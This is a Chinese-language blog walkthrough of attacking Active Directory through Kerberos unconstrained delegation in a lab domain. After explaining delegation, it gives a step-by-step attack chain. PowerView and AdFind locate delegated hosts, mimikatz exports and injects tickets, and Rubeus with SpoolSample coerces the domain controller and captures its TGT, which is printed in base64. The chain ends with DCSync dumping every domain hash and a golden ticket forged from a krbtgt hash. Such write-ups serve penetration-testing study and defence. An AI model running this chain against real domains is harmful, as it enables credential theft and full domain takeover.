首页 > 编程学习 > 域渗透之非约束委派

域渗透之非约束委派

发布时间:2022/11/13 11:25:26

 

域委派

首先了解一下什么是委派,委派即委托安排,我把这件事委托给你做了。域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动

域委派流程

一个域内普通用户jack通过Kerberos协议认证到前台WEB服务后,前台运行 WEB服务的服务账号websvc模拟(Impersonate)用户 jack,以Kerberos 协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中单跳或者多跳的Kerberos认证。 img

流程

  1. 域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器; Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;

  2. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;

  3. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;

  4. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;

  5. websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。

非约束委派攻击

在域内只有主机账号和服务账号才有委派属性

主机账号:活动目录中的computers组内的计算机,也被 称为机器账号。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加 入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机 器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

域环境

域管:dc1 10.10.10.142

备用域管:dc2 10.10.10.140

域用户1:12server1 10.10.10.152

域用户2: 12server2 10.10.10.138

搭建复现

注册服务用户 注册服务账号后 具有委派选项

setspn -A https/web web

 

 

设置主机委派

 

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含 TRUSTED_FOR_DELEGATION

powerview 查询配置非约束委派

导入模块 PowerView.ps1

Import-Module .\PowerView.ps1

查询非约束主机

Get-NetComputer -Unconstrained -Domain redteam.club

 

查询非约束用户

Get-NetUser -Unconstrained -Domain redteam.club | select name

 

adfind查询非约束委派

非约束委派的主机
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派的用户:
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派攻击案例

域管理使用winrm服务器远程连接域内主机

Enter-PSSession -ComputerName 12server2

 

 

此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证:

privilege::debug
sekurlsa::tickets /export

导入先前凭证:

kerberos::ptt 凭证名称
kerberos::list

访问域控ad1

 

非约束委派&Spooler

登录12server2的cmd

runas /profile /user:12server2\administrator cmd.exe

 

确认目标主机开启相关权限

后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控ad1的登录
本地管理员运行
Rubeus.exe monitor /interval:1 /filteruser:ad1$ > c:\hash.txt
本地cmd
SpoolSample.exe ad1 12server2

表示利用打印服务强制让域控机向12server2主机验证身份,这样我们的Rubeus就可以监听到TGS了

 

提取tgs

doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+gAwIBAqEYMBYbBmtyYnRn
    dBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7Xu9LjAWiSmr5BxONwMGP/uhdCMNTfr4/d9nu1+AXd1+66P
    b4uvP6IdH5aYXyqCmiYSGoRaKbb2TMqnQRYpVFDR/L8nbv+drVJL+pdUSdy6pvhJw8uhTtIPeK/gaYu/3iO1OUqzK7Um34YHo30U
    4/qhaZUquaT5S/QotOe0Dl1KomEJgW2YVKD/qEd+Dc6/6cEVr/QTFQX6k8PiYpcJENTSGrcmMnVBYJV8JGg0Z3tRc6Z2hfZSYOoa
    xzIt8AhOwZ1lPi6AgNojcmbga8cJ0FU6ZbXuoaEzvewkacmOuR6V6mjHNwy87AZUbiju4Is4jrkWGm5vFWW0pR1xuG519a2QajNk
    GM8on+K5il3ZUXwllnulmtCnRbSKk0MBgvTX8dioa/IsnAyqC6rU7CoBnRe1voOxJcxInK9VfUbLcJYka+j1vUgyzMYfS+O+0zSI
    oZ4XfM5lzCOG0tIzj15LMWmoP5T/5Ad7i761j+9xn4buFjtdStgtTCO2o6A6uqKKlrED6S6q1Zi7NtxFZQlRmGoJOruLzy0sWDet
    +uDVnNEG65+t7IcE4FEBFZ3JWGIxykh0XKzYswMPPgQQ6+wEISqOys3EWQMe68ftVIutOV7sdyAN0yx/Pi2fanGNAieovIIqCqz3
    bqb5DwUN7suTM5wNbrnfiVlcWFLXyb3bog2/cP/+XYVQniuqEpk6Gz+36exYhLKCb/Thzz4Ld1mmmMueoEAvDl1wcpv8jbD0mVJX
    aFGqGe7jmlzuDBNLLX8725eSm973Lj9qvdw3FiSPvVZvcdBHcFgIbaLyIQyEfUM+i0VKqSfUKxxcnABVkoldSnD2EW3Tiufz5CDC
    TuGJanqSA1tB6Mmlvsf6jCotadYpenrlQ5AVNt2YCxLnPh4qSuc9DlNbFsuWpCVZu0bgrVsWcuq9LfPaWdjK+4iQmY8WJukcRSQO
    L5lVBXPSFFLhMdQT0s5O+7lgRSOP7j1atrqQMkZRUVNqRGwuloM05nP6W7IIDwQ6OTwjzcdC2Hz0Jb5FodjEPPVqvWKKHEcsZgig
    ffDRxtdBCR8suwNK7VhNpPstYBGPIi8WERYUYAuF3w7BppXp1ZwjrPXYEJP2XeS6v6eNmoLtiXE9H6QVMFmQue5rDRwuFABe6PGa
    5Ze9CRzdnwUnIDIU9tkOtfik7RdEXXSmkk4bIaPPADY5LMlNeT9HXsmrPnsFE9UT0A1sSvPQJCmsSKST1j0AM9lXj7eBRQ95fx7e
    Mp6+Z2gNJA8p8H5MTalso4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQg5GlyBnawcQWtydP1Juxo
    yZrBlDkfbQ/Mgd7iuSlEKzmhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEAAKURGA8yMDIyMTExMjEw
    NDAxOVqmERgPMjAyMjExMTIyMDM5MzhapxEYDzIwMjIxMTE5MTAzOTM4WqgOGwxSRURURUFNLkNMVUKpITAfoAMCAQKhGDAWGwZr
    cmJ0Z3QbDFJFRFRFQU0uQ0xVQg==

然后直接用 powershell 转到为正常的 TGT 即可

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的
base64"))

注入票据 导出hash 导入票据后ptt即可

用mimikatz也可

kerberos::list
kerberos::ptt 票据路径
导出hash
mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt

制作黄金票据访问域控

当前的权限是域的本地管理员,不是域控的权限,所以还是要制作黄金票据 访问域控 获取域控的sid

whoami /all
S-1-5-21-2365300756-2663045586-4193326672

sid 不需要后面的位数 制作黄金票据语句

kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-
4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator
/ticket:ntlm.kirbi

制作成功后 导入票据访问域控

 

kerberos::ptt ntlm.kirbi
dir \\ad1\c$
管理员权限
两个人从监狱的窗户往外看,一个看见了土地,一个看见了星星。

 

Copyright © 2010-2022 dgrt.cn 版权所有 |关于我们| 联系方式